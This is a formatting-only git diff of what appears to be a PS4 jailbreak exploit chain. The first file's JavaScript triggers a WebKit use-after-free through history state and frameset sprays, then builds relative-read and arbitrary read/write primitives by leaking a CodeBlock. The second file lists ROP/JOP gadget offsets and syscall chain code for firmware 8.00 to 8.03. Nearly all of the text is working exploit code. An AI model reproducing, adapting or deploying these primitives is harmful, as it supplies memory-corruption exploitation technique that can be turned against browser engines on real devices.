@@ -139,18 +131,8 @@ function gc() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function sread64(str, offset) {
|
function sread64(str, offset) {
|
||||||
const low = (
|
const low = str.charCodeAt(offset) | (str.charCodeAt(offset + 1) << 8) | (str.charCodeAt(offset + 2) << 16) | (str.charCodeAt(offset + 3) << 24);
|
||||||
str.charCodeAt(offset)
|
const high = str.charCodeAt(offset + 4) | (str.charCodeAt(offset + 5) << 8) | (str.charCodeAt(offset + 6) << 16) | (str.charCodeAt(offset + 7) << 24);
|
||||||
| str.charCodeAt(offset + 1) << 8
|
|
||||||
| str.charCodeAt(offset + 2) << 16
|
|
||||||
| str.charCodeAt(offset + 3) << 24
|
|
||||||
);
|
|
||||||
const high = (
|
|
||||||
str.charCodeAt(offset + 4)
|
|
||||||
| str.charCodeAt(offset + 5) << 8
|
|
||||||
| str.charCodeAt(offset + 6) << 16
|
|
||||||
| str.charCodeAt(offset + 7) << 24
|
|
||||||
);
|
|
||||||
return new Int(low, high);
|
return new Int(low, high);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -160,7 +142,7 @@ function prepare_uaf() {
|
|||||||
|
|
||||||
function alloc_fs(fsets, size) {
|
function alloc_fs(fsets, size) {
|
||||||
for (let i = 0; i < size / 2; i++) {
|
for (let i = 0; i < size / 2; i++) {
|
||||||
const fset = document.createElement('frameset');
|
const fset = document.createElement("frameset");
|
||||||
fset.rows = rows;
|
fset.rows = rows;
|
||||||
fset.cols = rows;
|
fset.cols = rows;
|
||||||
fsets.push(fset);
|
fsets.push(fset);
|
||||||
@@ -171,23 +153,23 @@ function prepare_uaf() {
|
|||||||
// JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
|
// JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
|
||||||
// the SmallLine where the SSV resides from being freed. so we do a dummy
|
// the SmallLine where the SSV resides from being freed. so we do a dummy
|
||||||
// call first
|
// call first
|
||||||
history.replaceState('state0', '');
|
history.replaceState("state0", "");
|
||||||
|
|
||||||
alloc_fs(fsets, num_fsets);
|
alloc_fs(fsets, num_fsets);
|
||||||
|
|
||||||
// the "state1" SSVs is what we will UAF
|
// the "state1" SSVs is what we will UAF
|
||||||
|
|
||||||
history.pushState('state1', '', original_loc + '#bar');
|
history.pushState("state1", "", `${original_loc}#bar`);
|
||||||
indices.push(fsets.length);
|
indices.push(fsets.length);
|
||||||
|
|
||||||
alloc_fs(fsets, num_spaces);
|
alloc_fs(fsets, num_spaces);
|
||||||
|
|
||||||
history.pushState('state1', '', original_loc + '#foo');
|
history.pushState("state1", "", `${original_loc}#foo`);
|
||||||
indices.push(fsets.length);
|
indices.push(fsets.length);
|
||||||
|
|
||||||
alloc_fs(fsets, num_spaces);
|
alloc_fs(fsets, num_spaces);
|
||||||
|
|
||||||
history.pushState('state2', '');
|
history.pushState("state2", "");
|
||||||
return [fsets, indices];
|
return [fsets, indices];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -198,12 +180,12 @@ function prepare_uaf() {
|
|||||||
// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
|
// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
|
||||||
async function uaf_ssv(fsets, index, index2) {
|
async function uaf_ssv(fsets, index, index2) {
|
||||||
const views = [];
|
const views = [];
|
||||||
const input = document.createElement('input');
|
const input = document.createElement("input");
|
||||||
input.id = 'input';
|
input.id = "input";
|
||||||
const foo = document.createElement('input');
|
const foo = document.createElement("input");
|
||||||
foo.id = 'foo';
|
foo.id = "foo";
|
||||||
const bar = document.createElement('a');
|
const bar = document.createElement("a");
|
||||||
bar.id = 'bar';
|
bar.id = "bar";
|
||||||
|
|
||||||
log(`ssv_len: ${hex(ssv_len)}`);
|
log(`ssv_len: ${hex(ssv_len)}`);
|
||||||
|
|
||||||
@@ -226,7 +208,7 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
if (no_pop) {
|
if (no_pop) {
|
||||||
pop_promise2 = new Promise((resolve, reject) => {
|
pop_promise2 = new Promise((resolve, reject) => {
|
||||||
resolves.push([resolve, reject]);
|
resolves.push([resolve, reject]);
|
||||||
addEventListener('popstate', onpopstate, {once: true});
|
addEventListener("popstate", onpopstate, { once: true });
|
||||||
history.back();
|
history.back();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -241,7 +223,7 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
|
|
||||||
const pop_promise = new Promise((resolve, reject) => {
|
const pop_promise = new Promise((resolve, reject) => {
|
||||||
resolves.push([resolve, reject]);
|
resolves.push([resolve, reject]);
|
||||||
addEventListener('popstate', onpopstate, {once: true});
|
addEventListener("popstate", onpopstate, { once: true });
|
||||||
});
|
});
|
||||||
|
|
||||||
function onblur(event) {
|
function onblur(event) {
|
||||||
@@ -258,14 +240,14 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
// exploit via a reload. If we don't, the exploit will append another
|
// exploit via a reload. If we don't, the exploit will append another
|
||||||
// "#foo" to the URL and the input element will not be blurred because
|
// "#foo" to the URL and the input element will not be blurred because
|
||||||
// the foo element won't be scrolled to during history.back()
|
// the foo element won't be scrolled to during history.back()
|
||||||
history.replaceState('state3', '', original_loc);
|
history.replaceState("state3", "", original_loc);
|
||||||
|
|
||||||
// free the SerializedScriptValue's neighbors and thus free the
|
// free the SerializedScriptValue's neighbors and thus free the
|
||||||
// SmallLine where it resides
|
// SmallLine where it resides
|
||||||
const fset_idx = is_input ? index : index2;
|
const fset_idx = is_input ? index : index2;
|
||||||
for (let i = fset_idx - num_adjs / 2; i < fset_idx + num_adjs / 2; i++) {
|
for (let i = fset_idx - num_adjs / 2; i < fset_idx + num_adjs / 2; i++) {
|
||||||
fsets[i].rows = '';
|
fsets[i].rows = "";
|
||||||
fsets[i].cols = '';
|
fsets[i].cols = "";
|
||||||
}
|
}
|
||||||
|
|
||||||
for (let i = 0; i < num_reuses; i++) {
|
for (let i = 0; i < num_reuses; i++) {
|
||||||
@@ -277,8 +259,8 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
blurs[idx]++;
|
blurs[idx]++;
|
||||||
}
|
}
|
||||||
|
|
||||||
input.addEventListener('blur', onblur);
|
input.addEventListener("blur", onblur);
|
||||||
foo.addEventListener('blur', onblur);
|
foo.addEventListener("blur", onblur);
|
||||||
|
|
||||||
document.body.append(input);
|
document.body.append(input);
|
||||||
document.body.append(foo);
|
document.body.append(foo);
|
||||||
@@ -292,11 +274,11 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
// item if we call loadInSameDocument too early
|
// item if we call loadInSameDocument too early
|
||||||
log(`readyState now: ${document.readyState}`);
|
log(`readyState now: ${document.readyState}`);
|
||||||
|
|
||||||
if (document.readyState !== 'complete') {
|
if (document.readyState !== "complete") {
|
||||||
await new Promise(resolve => {
|
await new Promise((resolve) => {
|
||||||
document.addEventListener('readystatechange', function foo() {
|
document.addEventListener("readystatechange", function foo() {
|
||||||
if (document.readyState === 'complete') {
|
if (document.readyState === "complete") {
|
||||||
document.removeEventListener('readystatechange', foo);
|
document.removeEventListener("readystatechange", foo);
|
||||||
resolve();
|
resolve();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -305,8 +287,8 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
|
|
||||||
log(`readyState now: ${document.readyState}`);
|
log(`readyState now: ${document.readyState}`);
|
||||||
|
|
||||||
await new Promise(resolve => {
|
await new Promise((resolve) => {
|
||||||
input.addEventListener('focus', resolve, {once: true});
|
input.addEventListener("focus", resolve, { once: true });
|
||||||
input.focus();
|
input.focus();
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -314,7 +296,7 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
await pop_promise;
|
await pop_promise;
|
||||||
await pop_promise2;
|
await pop_promise2;
|
||||||
|
|
||||||
log('done await popstate');
|
log("done await popstate");
|
||||||
|
|
||||||
input.remove();
|
input.remove();
|
||||||
foo.remove();
|
foo.remove();
|
||||||
@@ -325,7 +307,7 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
const view = views[i];
|
const view = views[i];
|
||||||
if (view[0] !== 0x41) {
|
if (view[0] !== 0x41) {
|
||||||
log(`view index: ${hex(i)}`);
|
log(`view index: ${hex(i)}`);
|
||||||
log('found view:');
|
log("found view:");
|
||||||
log(view);
|
log(view);
|
||||||
|
|
||||||
// set SSV's refcount to 1, all other fields to 0/NULL
|
// set SSV's refcount to 1, all other fields to 0/NULL
|
||||||
@@ -345,7 +327,7 @@ async function uaf_ssv(fsets, index, index2) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (res.length !== 2) {
|
if (res.length !== 2) {
|
||||||
die('failed SerializedScriptValue UAF');
|
die("failed SerializedScriptValue UAF");
|
||||||
}
|
}
|
||||||
return res;
|
return res;
|
||||||
}
|
}
|
||||||
@@ -363,12 +345,7 @@ class Reader {
|
|||||||
|
|
||||||
read32_at(offset) {
|
read32_at(offset) {
|
||||||
const str = this.rstr;
|
const str = this.rstr;
|
||||||
return (
|
return (str.charCodeAt(offset) | (str.charCodeAt(offset + 1) << 8) | (str.charCodeAt(offset + 2) << 16) | (str.charCodeAt(offset + 3) << 24)) >>> 0;
|
||||||
str.charCodeAt(offset)
|
|
||||||
| str.charCodeAt(offset + 1) << 8
|
|
||||||
| str.charCodeAt(offset + 2) << 16
|
|
||||||
| str.charCodeAt(offset + 3) << 24
|
|
||||||
) >>> 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
read64_at(offset) {
|
read64_at(offset) {
|
||||||
@@ -398,9 +375,9 @@ async function make_rdr(view) {
|
|||||||
const u32 = new Uint32Array(1);
|
const u32 = new Uint32Array(1);
|
||||||
const u8 = new Uint8Array(u32.buffer);
|
const u8 = new Uint8Array(u32.buffer);
|
||||||
const marker_offset = original_strlen - 4;
|
const marker_offset = original_strlen - 4;
|
||||||
const pad = 'B'.repeat(marker_offset);
|
const pad = "B".repeat(marker_offset);
|
||||||
|
|
||||||
log('start string spray');
|
log("start string spray");
|
||||||
while (true) {
|
while (true) {
|
||||||
for (let i = 0; i < num_strs; i++) {
|
for (let i = 0; i < num_strs; i++) {
|
||||||
u32[0] = i;
|
u32[0] = i;
|
||||||
@@ -419,7 +396,7 @@ async function make_rdr(view) {
|
|||||||
// returns a plain JSString (not a JSRopeString). that means we
|
// returns a plain JSString (not a JSRopeString). that means we
|
||||||
// have allocated a WTF::StringImpl with the proper size and whose
|
// have allocated a WTF::StringImpl with the proper size and whose
|
||||||
// string data is inlined
|
// string data is inlined
|
||||||
const str = [pad, String.fromCodePoint(...u8)].join('');
|
const str = [pad, String.fromCodePoint(...u8)].join("");
|
||||||
strs.push(str);
|
strs.push(str);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -437,7 +414,7 @@ async function make_rdr(view) {
|
|||||||
|
|
||||||
const idx = view.read32(off.strimpl_inline_str + marker_offset);
|
const idx = view.read32(off.strimpl_inline_str + marker_offset);
|
||||||
log(`str index: ${hex(idx)}`);
|
log(`str index: ${hex(idx)}`);
|
||||||
log('view:');
|
log("view:");
|
||||||
log(view);
|
log(view);
|
||||||
|
|
||||||
// versions like 8.0x have a JSC::JSString that have their own m_length
|
// versions like 8.0x have a JSC::JSString that have their own m_length
|
||||||
@@ -450,15 +427,12 @@ async function make_rdr(view) {
|
|||||||
const rstr = Error(strs[idx]).message;
|
const rstr = Error(strs[idx]).message;
|
||||||
log(`str len: ${hex(rstr.length)}`);
|
log(`str len: ${hex(rstr.length)}`);
|
||||||
if (rstr.length === 0xffffffff) {
|
if (rstr.length === 0xffffffff) {
|
||||||
log('confirmed correct leaked');
|
log("confirmed correct leaked");
|
||||||
const addr = (
|
const addr = view.read64(off.strimpl_m_data).sub(off.strimpl_inline_str);
|
||||||
view.read64(off.strimpl_m_data)
|
|
||||||
.sub(off.strimpl_inline_str)
|
|
||||||
);
|
|
||||||
log(`view's buffer address: ${addr}`);
|
log(`view's buffer address: ${addr}`);
|
||||||
return new Reader(rstr, view);
|
return new Reader(rstr, view);
|
||||||
}
|
}
|
||||||
die('JSString wasn\'t modified');
|
die("JSString wasn't modified");
|
||||||
}
|
}
|
||||||
|
|
||||||
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
|
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
|
||||||
@@ -501,7 +475,7 @@ const src_part = (() => {
|
|||||||
// k0 = <JSValue()>
|
// k0 = <JSValue()>
|
||||||
// k1 = Undefined
|
// k1 = Undefined
|
||||||
// k2 = Int32: 1: in source as integer
|
// k2 = Int32: 1: in source as integer
|
||||||
let res = 'var f = 0x11223344;\n';
|
let res = "var f = 0x11223344;\n";
|
||||||
// make unique constants that won't collide with the possible marker values
|
// make unique constants that won't collide with the possible marker values
|
||||||
for (let i = 0; i < cons_len; i += 8) {
|
for (let i = 0; i < cons_len; i += 8) {
|
||||||
res += `var a${i} = ${num_leaks + i};\n`;
|
res += `var a${i} = ${num_leaks + i};\n`;
|
||||||
@@ -528,13 +502,13 @@ async function leak_code_block(reader, bt_size) {
|
|||||||
cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
|
cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
|
||||||
}
|
}
|
||||||
|
|
||||||
const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB;
|
const chunkSize = is_ps4 && version < 0x900 ? 128 * KB : 1 * MB;
|
||||||
const smallPageSize = 4 * KB;
|
const smallPageSize = 4 * KB;
|
||||||
const search_addr = align(rdr.m_data, chunkSize);
|
const search_addr = align(rdr.m_data, chunkSize);
|
||||||
log(`search addr: ${search_addr}`);
|
log(`search addr: ${search_addr}`);
|
||||||
|
|
||||||
log(`func_src:\n${cache[0]}\nfunc_src end`);
|
log(`func_src:\n${cache[0]}\nfunc_src end`);
|
||||||
log('start find CodeBlock');
|
log("start find CodeBlock");
|
||||||
let winning_off = null;
|
let winning_off = null;
|
||||||
let winning_idx = null;
|
let winning_idx = null;
|
||||||
let winning_f = null;
|
let winning_f = null;
|
||||||
@@ -581,7 +555,7 @@ async function leak_code_block(reader, bt_size) {
|
|||||||
log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
|
log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
|
||||||
log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
|
log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
|
||||||
|
|
||||||
log('CodeBlock.m_constantRegisters.m_buffer:');
|
log("CodeBlock.m_constantRegisters.m_buffer:");
|
||||||
rdr.set_addr(search_addr.add(winning_off));
|
rdr.set_addr(search_addr.add(winning_off));
|
||||||
for (let i = 0; i < slen; i += 8) {
|
for (let i = 0; i < slen; i += 8) {
|
||||||
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
||||||
@@ -592,13 +566,13 @@ async function leak_code_block(reader, bt_size) {
|
|||||||
log(`immutable butterfly addr: ${bt_addr}`);
|
log(`immutable butterfly addr: ${bt_addr}`);
|
||||||
log(`string array passed to tag addr: ${strs_addr}`);
|
log(`string array passed to tag addr: ${strs_addr}`);
|
||||||
|
|
||||||
log('JSImmutableButterfly:');
|
log("JSImmutableButterfly:");
|
||||||
rdr.set_addr(bt_addr);
|
rdr.set_addr(bt_addr);
|
||||||
for (let i = 0; i < bt_size; i += 8) {
|
for (let i = 0; i < bt_size; i += 8) {
|
||||||
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
log('string array:');
|
log("string array:");
|
||||||
rdr.set_addr(strs_addr);
|
rdr.set_addr(strs_addr);
|
||||||
for (let i = 0; i < off.size_jsobj; i += 8) {
|
for (let i = 0; i < off.size_jsobj; i += 8) {
|
||||||
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
log(`${rdr.read64_at(i)} | ${hex(i)}`);
|
||||||
@@ -700,7 +674,7 @@ async function make_arw(reader, view2, pop) {
|
|||||||
const propertyStorage = 8;
|
const propertyStorage = 8;
|
||||||
const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
|
const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
|
||||||
|
|
||||||
log('STAGE: leak CodeBlock');
|
log("STAGE: leak CodeBlock");
|
||||||
// has too be greater than 0x10. the size of JSImmutableButterfly
|
// has too be greater than 0x10. the size of JSImmutableButterfly
|
||||||
const bt_size = 0x10 + fakebt_off + arrayStorage_size;
|
const bt_size = 0x10 + fakebt_off + arrayStorage_size;
|
||||||
const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
|
const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
|
||||||
@@ -715,7 +689,7 @@ async function make_arw(reader, view2, pop) {
|
|||||||
const bt = new BufferView(pop.state);
|
const bt = new BufferView(pop.state);
|
||||||
view.set(view_save);
|
view.set(view_save);
|
||||||
|
|
||||||
log('ArrayBuffer pointing to JSImmutableButterfly:');
|
log("ArrayBuffer pointing to JSImmutableButterfly:");
|
||||||
for (let i = 0; i < bt.byteLength; i += 8) {
|
for (let i = 0; i < bt.byteLength; i += 8) {
|
||||||
log(`${bt.read64(i)} | ${hex(i)}`);
|
log(`${bt.read64(i)} | ${hex(i)}`);
|
||||||
}
|
}
|
||||||
@@ -820,18 +794,14 @@ async function make_arw(reader, view2, pop) {
|
|||||||
bt.write64(fakebt_off + 0x10, faker_vector);
|
bt.write64(fakebt_off + 0x10, faker_vector);
|
||||||
const main = fake[0];
|
const main = fake[0];
|
||||||
|
|
||||||
log('main (pointing to worker):');
|
log("main (pointing to worker):");
|
||||||
for (let i = 0; i < off.size_view; i += 8) {
|
for (let i = 0; i < off.size_view; i += 8) {
|
||||||
const idx = i / 4;
|
const idx = i / 4;
|
||||||
log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
|
log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
new Memory(
|
new Memory(main, worker, leaker, leaker_p.add(off.js_inline_prop), rdr.read64(leaker_p.add(off.js_butterfly)));
|
||||||
main, worker, leaker,
|
log("achieved arbitrary r/w");
|
||||||
leaker_p.add(off.js_inline_prop),
|
|
||||||
rdr.read64(leaker_p.add(off.js_butterfly)),
|
|
||||||
);
|
|
||||||
log('achieved arbitrary r/w');
|
|
||||||
|
|
||||||
rdr.restore();
|
rdr.restore();
|
||||||
// set the refcount to a high value so we don't free the memory, view's
|
// set the refcount to a high value so we don't free the memory, view's
|
||||||
@@ -844,22 +814,22 @@ async function make_arw(reader, view2, pop) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function main() {
|
async function main() {
|
||||||
log('STAGE: UAF SSV');
|
log("STAGE: UAF SSV");
|
||||||
const [fsets, indices] = prepare_uaf();
|
const [fsets, indices] = prepare_uaf();
|
||||||
const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
|
const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
|
||||||
|
|
||||||
log('STAGE: get string relative read primitive');
|
log("STAGE: get string relative read primitive");
|
||||||
const rdr = await make_rdr(view);
|
const rdr = await make_rdr(view);
|
||||||
|
|
||||||
for (const fset of fsets) {
|
for (const fset of fsets) {
|
||||||
fset.rows = '';
|
fset.rows = "";
|
||||||
fset.cols = '';
|
fset.cols = "";
|
||||||
}
|
}
|
||||||
|
|
||||||
log('STAGE: achieve arbitrary read/write primitive');
|
log("STAGE: achieve arbitrary read/write primitive");
|
||||||
await make_arw(rdr, view2, pop);
|
await make_arw(rdr, view2, pop);
|
||||||
|
|
||||||
clear_log();
|
clear_log();
|
||||||
import('./lapse.mjs');
|
import("./lapse.mjs");
|
||||||
}
|
}
|
||||||
main();
|
main();
|
||||||
|
|||||||
@@ -17,18 +17,14 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.00, 8.01, 8.03
|
// 8.00, 8.01, 8.03
|
||||||
|
|
||||||
import { mem } from '../../module/mem.mjs';
|
import { mem } from "../../module/mem.mjs";
|
||||||
import { KB } from '../../module/offset.mjs';
|
import { KB } from "../../module/offset.mjs";
|
||||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
import { ChainBase, get_gadget } from "../../module/chain.mjs";
|
||||||
import { BufferView } from '../../module/rw.mjs';
|
import { BufferView } from "../../module/rw.mjs";
|
||||||
|
|
||||||
import {
|
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
|
||||||
get_view_vector,
|
|
||||||
resolve_import,
|
|
||||||
init_syscall_array,
|
|
||||||
} from '../../module/memtools.mjs';
|
|
||||||
|
|
||||||
import * as off from '../../module/offset.mjs';
|
import * as off from "../../module/offset.mjs";
|
||||||
|
|
||||||
// WebKit offsets of imported functions
|
// WebKit offsets of imported functions
|
||||||
const offset_wk_stack_chk_fail = 0x8d8;
|
const offset_wk_stack_chk_fail = 0x8d8;
|
||||||
@@ -68,7 +64,7 @@ push rdx
|
|||||||
mov edi, 0xac9784fe
|
mov edi, 0xac9784fe
|
||||||
jmp qword ptr [rax]
|
jmp qword ptr [rax]
|
||||||
`;
|
`;
|
||||||
const jop5 = 'pop rsp; ret';
|
const jop5 = "pop rsp; ret";
|
||||||
|
|
||||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||||
//
|
//
|
||||||
@@ -83,56 +79,62 @@ const jop5 = 'pop rsp; ret';
|
|||||||
// mov rsp, rbp
|
// mov rsp, rbp
|
||||||
// pop rbp
|
// pop rbp
|
||||||
|
|
||||||
const webkit_gadget_offsets = new Map(Object.entries({
|
const webkit_gadget_offsets = new Map(
|
||||||
'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
|
Object.entries({
|
||||||
'pop rbx; ret' : 0x000000000001537c, // `5b c3`
|
"pop rax; ret": 0x0000000000035a1b, // `58 c3`
|
||||||
'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
|
"pop rbx; ret": 0x000000000001537c, // `5b c3`
|
||||||
'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
|
"pop rcx; ret": 0x0000000000025ecb, // `59 c3`
|
||||||
|
"pop rdx; ret": 0x0000000000060f52, // `5a c3`
|
||||||
|
|
||||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
|
||||||
'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
|
"pop rsi; ret": 0x000000000003bd77, // `5e c3`
|
||||||
'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
|
"pop rdi; ret": 0x00000000001e3f87, // `5f c3`
|
||||||
'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
|
"pop rsp; ret": 0x00000000000bf669, // `5c c3`
|
||||||
|
|
||||||
'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
|
"pop r8; ret": 0x00000000005ee860, // `41 58 c3`
|
||||||
'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
|
"pop r9; ret": 0x00000000006f501f, // `47 59 c3`
|
||||||
'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
|
"pop r10; ret": 0x0000000000060f51, // `47 5a c3`
|
||||||
'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
|
"pop r11; ret": 0x00000000013cad93, // `41 5b c3`
|
||||||
|
|
||||||
'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
|
"pop r12; ret": 0x0000000000d8968d, // `41 5c c3`
|
||||||
'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
|
"pop r13; ret": 0x00000000019a0edb, // `41 5d c3`
|
||||||
'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
|
"pop r14; ret": 0x000000000003bd76, // `41 5e c3`
|
||||||
'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
|
"pop r15; ret": 0x00000000002499df, // `41 5f c3`
|
||||||
|
|
||||||
'ret' : 0x0000000000000032, // `c3`
|
"ret": 0x0000000000000032, // `c3`
|
||||||
'leave; ret' : 0x0000000000291fd7, // `c9 c3`
|
"leave; ret": 0x0000000000291fd7, // `c9 c3`
|
||||||
|
|
||||||
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
|
"mov rax, qword ptr [rax]; ret": 0x000000000002dc62, // `48 8b 00 c3`
|
||||||
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
|
"mov qword ptr [rdi], rax; ret": 0x000000000005b1bb, // `48 89 07 c3`
|
||||||
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
|
"mov dword ptr [rdi], eax; ret": 0x000000000001f864, // `89 07 c3`
|
||||||
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
|
"mov dword ptr [rax], esi; ret": 0x00000000002915bc, // `89 30 c3`
|
||||||
|
|
||||||
[jop1]: 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
|
[jop1]: 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
|
||||||
[jop2]: 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
|
[jop2]: 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
|
||||||
[jop3]: 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
|
[jop3]: 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
|
||||||
[jop4]: 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
|
[jop4]: 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
|
||||||
[jop5]: 0x00000000000bf669, // `5c c3`
|
[jop5]: 0x00000000000bf669, // `5c c3`
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libc_gadget_offsets = new Map(Object.entries({
|
const libc_gadget_offsets = new Map(
|
||||||
'getcontext' : 0x258f4,
|
Object.entries({
|
||||||
'setcontext' : 0x29c58,
|
"getcontext": 0x258f4,
|
||||||
}));
|
"setcontext": 0x29c58,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
const libkernel_gadget_offsets = new Map(
|
||||||
|
Object.entries({
|
||||||
// returns the location of errno
|
// returns the location of errno
|
||||||
'__error' : 0x160c0,
|
"__error": 0x160c0,
|
||||||
}));
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
export const gadgets = new Map();
|
export const gadgets = new Map();
|
||||||
|
|
||||||
function get_bases() {
|
function get_bases() {
|
||||||
const textarea = document.createElement('textarea');
|
const textarea = document.createElement("textarea");
|
||||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||||
const textarea_vtable = webcore_textarea.readp(0);
|
const textarea_vtable = webcore_textarea.readp(0);
|
||||||
const off_ta_vt = 0x236d4a0;
|
const off_ta_vt = 0x236d4a0;
|
||||||
@@ -148,11 +150,7 @@ function get_bases() {
|
|||||||
const off_strlen = 0x4eb80;
|
const off_strlen = 0x4eb80;
|
||||||
const libc_base = strlen_addr.sub(off_strlen);
|
const libc_base = strlen_addr.sub(off_strlen);
|
||||||
|
|
||||||
return [
|
return [libwebkit_base, libkernel_base, libc_base];
|
||||||
libwebkit_base,
|
|
||||||
libkernel_base,
|
|
||||||
libc_base,
|
|
||||||
];
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||||
@@ -163,30 +161,30 @@ export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
|||||||
|
|
||||||
class Chain800Base extends ChainBase {
|
class Chain800Base extends ChainBase {
|
||||||
push_end() {
|
push_end() {
|
||||||
this.push_gadget('leave; ret');
|
this.push_gadget("leave; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_retval() {
|
push_get_retval() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.retval_addr);
|
this.push_value(this.retval_addr);
|
||||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
this.push_gadget("mov qword ptr [rdi], rax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_get_errno() {
|
push_get_errno() {
|
||||||
this.push_gadget('pop rdi; ret');
|
this.push_gadget("pop rdi; ret");
|
||||||
this.push_value(this.errno_addr);
|
this.push_value(this.errno_addr);
|
||||||
|
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
|
|
||||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
this.push_gadget("mov rax, qword ptr [rax]; ret");
|
||||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
this.push_gadget("mov dword ptr [rdi], eax; ret");
|
||||||
}
|
}
|
||||||
|
|
||||||
push_clear_errno() {
|
push_clear_errno() {
|
||||||
this.push_call(this.get_gadget('__error'));
|
this.push_call(this.get_gadget("__error"));
|
||||||
this.push_gadget('pop rsi; ret');
|
this.push_gadget("pop rsi; ret");
|
||||||
this.push_value(0);
|
this.push_value(0);
|
||||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
this.push_gadget("mov dword ptr [rax], esi; ret");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
